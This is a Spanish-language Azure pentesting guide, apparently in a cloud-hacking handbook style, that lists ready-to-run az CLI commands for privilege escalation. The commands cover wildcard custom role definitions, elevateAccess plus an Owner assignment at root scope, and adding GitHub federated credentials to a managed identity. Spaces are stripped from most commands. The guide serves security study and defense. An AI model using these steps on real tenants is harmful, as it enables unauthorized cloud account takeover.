Este permiso permite asignar roles a principales sobre un alcance específico, permitiendo a un atacante escalar privilegios al asignarse un rol más privilegiado:
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que se le ha asignado.
Crea el archivo role.json con el siguiente contenido:
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Luego actualiza los permisos del rol con la definición anterior llamando:
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure.
Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, dar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite acceder a cualquier identidad administrada definida por el usuario.
Ejemplo de comando para dar acceso a un repositorio en Github a una identidad administrada:
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'